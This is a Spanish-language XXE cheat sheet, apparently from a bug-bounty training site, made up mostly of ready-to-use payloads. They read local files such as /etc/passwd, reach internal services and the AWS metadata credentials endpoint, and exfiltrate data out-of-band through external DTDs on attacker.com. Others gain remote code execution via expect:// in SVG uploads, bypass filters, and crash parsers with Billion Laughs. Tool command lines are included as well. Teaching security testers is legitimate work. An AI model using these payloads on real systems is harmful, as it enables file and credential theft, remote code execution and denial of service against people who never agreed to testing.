Cheatsheet XXE
XML External Entity
Referencia rápida
- →Buscar XXE en: uploads de DOCX/XLSX/SVG, APIs SOAP, parsers RSS/XML, configuraciones SAML
- →Convertir Content-Type a application/xml en cualquier endpoint que acepte datos
- →Para blind XXE, usar parameter entities (%) con DTD externo para exfiltracion OOB
- →SVG es ideal para XXE porque no tiene magic bytes - bypasea validaciones de imagen
- →Si el parser es PHP, probar expect:// para RCE directo
Lectura de archivos (LFI)
LFI basico /etc/passwd
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><foo>&xxe;</foo>
PHP filter base64
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://target.com/config.php"> ]><foo><result>∾</result></foo>
XInclude
<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>
CDATA wrapper para XML fileswrapper.dtd: <!ENTITY wrapper "%start;%file;%end;">
<?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY % start "<![CDATA["> <!ENTITY % file SYSTEM "file:///var/www/html/WEB-INF/web.xml"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://attacker.com/wrapper.dtd"> %dtd;]> <data>&wrapper;</data>
SSRF via XXE
SSRF a servicio interno
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "https://internal-service.com/admin"> ]><foo>&xxe;</foo>
AWS metadata via XXE
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]><foo>&xxe;</foo>
Blind XXE - Out-of-Band
OOB via Collaborator
<?xml version="1.0"?> <!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR.oastify.com"> ]><stockCheck><productId>&xxe;</productId></stockCheck>
Parameter entity OOB
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR"> %xxe; ]>
Exfiltracion via DTD externoexploit.dtd contiene: <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>"> %eval; %exfil;
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/exploit.dtd"> %xxe;]>
FTP exfiltracionftp.dtd envia datos via FTP al servidor del atacante
<!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://attacker.com/ftp.dtd"> %remote; %send;]> <data>4</data>
XXE via upload de archivos
SVG con XXE
<?xml version="1.0" standalone="yes"?> <!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg"> <text font-size="16" x="0" y="16">&xxe;</text> </svg>
SVG con expect:// (RCE)
<svg xmlns="http://www.w3.org/2000/svg"> <image xlink:href="expect://id"></image> </svg>
UTF-7 encoding bypassConvierte con: recode UTF8..UTF7 payload.xml
<?xml version="1.0" encoding="UTF-7"?> +ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://attacker.com+ACI +AD4AXQA+ +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
DoS y bypass de filtros
Billion Laughs (DoS)
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol9 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> ]><lolz>&lol9;</lolz>
Case manipulation bypass
<!DOCTYPE foo [<!entity xxe SYSTEM "file:///etc/passwd">]>
Base64 encoding bypass
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "data:text/plain;base64,L2V0Yy9wYXNzd2Q="> ]><foo>&xxe;</foo>
DTD chaining
<!DOCTYPE foo [ <!ENTITY % remote SYSTEM "http://attacker.com/external.dtd"> %remote;]>
Herramientas
XXEinjector
Herramienta automatizada de XXE con multiples modos de exfiltracion
ruby XXEinjector.rb --host=attacker.com --file=request.txt --path=/etc/passwd --oob=http
oxml_xxe
Genera archivos DOCX/XLSX/PPTX con payloads XXE embebidos
python3 oxml_xxe.py -b http://attacker.com -f malicious.xlsx
Burp Collaborator
Servidor OOB para confirmar blind XXE via DNS/HTTP callbacks
Burp Suite > Burp Collaborator Client > Copy to clipboard
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de prácticahunters entrenando
labs de reportes reales
completaciones
en bounties practicados
Deja de leer sobre bugs y empieza a cazarlos
Crea tu cuenta gratis y practica sobre labs basados en reportes reales que pagaron miles de euros. La Academy es gratis para siempre.
Sin tarjeta · Academy gratis · cancela cuando quieras